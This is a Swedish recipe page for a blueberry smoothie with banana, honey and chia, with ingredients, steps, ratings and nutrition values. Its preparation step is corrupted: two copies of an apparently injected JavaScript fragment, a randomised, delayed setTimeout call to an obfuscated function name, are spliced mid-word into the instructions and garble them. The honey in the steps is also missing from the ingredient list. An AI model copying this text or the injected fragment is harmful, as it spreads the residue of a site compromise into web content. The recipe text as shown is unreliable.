Syrlig blåbärssmoothie med banan, honung och chia

2013-07-05
IMG_3638IMG_3640
  • Servings : 1
  • Prep Time : 2m
  • Cook Time : 3m
  • Ready In : 5m

En skonsam smoothie som innehåller C och B vitamin samt chia frön som består av mycket protein kostfibrer och omega 3 + 6 En härlig kontrast av syrlighet och sötma

Ingredienser

  • 1 dl blåbär frysta
  • 1/2 dl lättmjölk
  • 2 tsk stevia
  • 3 msk (lite mindre än 1 dl) kesella lätt
  • 1 msk citron
  • 1/2 msk organic chia
  • 1/2 banan ca 70 g
    • Gör så här:

    • Lägg bananen och honungen åt sidan. Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a ihop alla resterandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e ingredienser i en bunke och se till att du rör/mixar om ordentligt. Häll upp i ett glas.

      Hacka bananen i skivor och lägg upp dem som du vill runt smoothies. Ringla honung över och strö lite chia eller kokos över.
      Toppa med lite blåbär eller hallon.

Medlemsbetyg

(5 / 5)

5 5 1
Betygsätt recept

1 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0985

    Lowcarb Carbonara

  • Avokado & äggmacka

    Avokado & äggmacka

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

  • image

    Syrlig hallonsmoothie

Näringssinnehåll

Informationen gäller per portion

  • kcal

    195
  • kolhydrater

    25 g
  • protein

    14 g
  • fett

    3 g

Recipe Comments

Post A Comment

Current ye@r *